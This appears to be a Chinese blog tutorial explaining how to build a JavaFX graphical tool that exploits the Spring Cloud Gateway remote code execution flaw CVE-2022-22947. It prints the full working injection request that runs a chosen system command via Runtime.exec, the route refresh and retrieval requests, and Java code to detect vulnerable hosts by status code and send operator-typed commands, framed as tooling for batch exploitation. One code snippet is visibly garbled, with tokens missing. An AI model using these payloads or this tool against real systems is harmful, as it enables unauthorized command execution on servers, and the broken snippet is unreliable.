×

新闻动态 资料下载 window平台

如何使用javafx编写一个Springboot Gateway RCE漏洞利用工具

0x_www 0x_www 发表于2024-04-13 21:33:02 浏览92 评论0

抢沙发发表评论

如何使用javafx编写一个Springboot Gateway RCE漏洞


好久不更新文章了,今天来更新一篇

之前我们讲到了多线程编写海康威视RCE的案例

多线程的优点就是速度快,不卡顿,批量也能够更快的发展存在的漏洞


(题外话)

对于工具党来说,并不是一件好事,必要的时候,可以自己动手写点属于自己的漏洞利用工具

今天我们使用的语言是javafx,他相比java swing来说,他更流行


那么我们先来看看Springboot Gateway漏洞的POC

Spring Cloud Gateway(CVE-2022-22947)漏洞复现

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.2.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 331

{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "result"
}
}
],
"uri": "http://example.com:80",
"order": 0


这 是发送请求的POC

注意这里(new String[]{\"whoami\"}).

这里的whoami可以自求切换命令

那么编写的时候,可以采用拼接的方式来获取输入的命令执行相应的方法如,textfield.getText


这是使用POST发送JSON数据

第二个RCE就是重置路由

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.2.131:8080
Connection: close
Content-Type: application/x-www-form-urlencoded

刷新路由的缓存


接着访问

GET /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.2.131:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9



前提是创建的/actuator/gateway/routes/test要发送POC成功,这一步才有漏洞

然后就是直接whoami命令了


相当于他是有几个步骤,发送数据,重置刷新,访问路由,执行命令

那么我们实在编写的时候,需要做的就是先去判断漏洞是否存在,然后根据存在的漏洞执行相应的命令并回显结果到工具中

那么如何去判断漏洞是否存在呢

从第一个POC来看

我们可以区判断他的状态码

判断如果发送回显是201的话,那么就存在漏洞

否则漏洞不存在


javafx 中文网

首先我们使用javafx的

Scene Builder来启动界面

这里我使用IDEA,这个优秀的JAVA编程软件

启动

Scene Builder
其实也可以使用JFormDesigner也可以

需要先建立f.fxml文件

捕获2323.PNG

然后通过fxml文件启动

Scene Builder

这里需要建立一个控制器的类,f.java

控制器里面写我们的RCE执行代码

接着还需要一个main.java,主方法启动界面

大概就是这样


捕获.PNG


在main入口,我们写入代码加载启动界面

然后下载

Scene Builder

启动界面

捕获1.PNG


打开后,,我们发现就是javafx的图形化界面了

这里我们首先设计一下




捕获898.PNG



一个检测,一个执行

这里需要注意的是

文本输入框我们选择的 是TextField

读取数据我们选择的是TextArea

这里我们需要区添加事件监听方法,这里按钮才会生效

添加一个 button按钮,添加事件,也就是当你点击按钮,将要执行的方法

捕获34.PNG


在这里加入你的事件监听

添加完后,可以发现添加的代码

捕获432.PNG


我们把这里复制到控制器类中即可


捕获ewe.PNG


我们要发送请求可以使用javafx的httpclient和httpurlconnection来写

需要注意的是,httpclient并不直接支持自定义函数


我们先来写判断的POC,判断我们可以去请求

actuator/env");

或者

actuator/gateway/routes

这两个目录
采取GET方法去求,判断状态码即可

基本写法:



URL url1 = new URL(url+"/actuator/env");  这里可以对TextField实例化
TextField a=new TextField();


HttpURLConnection connection = (HttpURLConnection) url1.openConnection(); //实例化
connection.setRequestMethod("GET");‘  请求方式

  int responseCode = connection.getResponseCode();
System.out.println("Response Code : " + responseCode);
     if (responseCode == HttpURLConnection.HTTP_OK) { 判断
     BufferedReader br = new BufferedReader(new InputStreamReader(connection.getInputStream()));
     StringBuffer response = new StringBuffer(); 接受返回信息

判断状态码

如果是200


捕获434.PNG


大概就是这样写


捕获3242.PNG


这里写一个try异常捕获,根据你自己写的习惯,一种是

e.printStackTrace(); 捕获异常

可以写,另外一种是

import javafx.scene.control.Alert;  弹出异常信息

弹出对话框



写完后,我们运行一下,调试一下


捕获4324.PNG


在main这里调试运行


捕获ewesad.PNG


当我们不输入任何信息,点击检测的时候,就弹出对话信息

我们随便输入一个网址

捕获werwer.PNG


这里就自动检查了

接下来,我们再写发送的POC

POST /actuator/gateway/routes/test HTTP/1.1
Host: 192.168.2.131:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 331

{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}",
"name": "result"
}
}
],
"uri": "http://example.com:80",
"order": 0



POST请求,

就JSON数据发送,判断状态码,并回显

捕获dfs.PNG


这里我采用自定义函数

来到

sendGetRequest1

的代码段


捕获5435.PNG



   HttpURLConnection connection = (HttpURLConnection) url1.openConnection()OutputStream os = connection.getOutputStream()[] input=json1.getBytes(StandardCharsets.)
   connection.setRequestProperty()connection.setDoOutput()
   connection.setDoOutput(true);

这一句很关键

如果为flase,将不写入数据,只能读

 os.write(inputinput.)responseCode = connection.getResponseCode()(responseCode == ) {

       .appendText(url1++++)

然后判断状态码,写入的数据,如果返回201,既存在漏洞,如果是其他状态码,则不存在

接着我们写入这一步如果成功,则再调用自定义函数,这里我就写了三个自定义函数,这三个函数分别执行三个请求,刷新路由缓存,请求我们写入的test,然后删除路由

DELETE"

然后我们再写一个命令执行的

拼接一下whoami这里

具体写法:

URL url1 = new URL(url + "/?cmd=" + urltest4.getText());

CMD是执行的命令

然后就差不多了

我们来运行一下


捕获rewr.PNG



当我们点击检测,会自动检测漏洞是否存在,如果存在则调用自定义函数

CMD命令这里,我们输入命令

捕获dsad.PNG


当漏洞不存在命令执行是无效的

这里有两种写法

1、判断漏洞是否存在,再去调用执行命令的方法

2、whoami命令执行调用自定义函数来判断命令是否成功执行


我们的工具就算完成了

如果你要写更多的POC RCE程序,需要注意多线程,异步,以及程序编码优化的问题,原理都一样

那么我们如何打包成jar呢

这里需要选择构建工建,接着去项目结构那里

捕获ewr.PNG


接着打包生成jar

捕获34532.PNG


我们运行一下


捕获st.PNG





文章就写到这里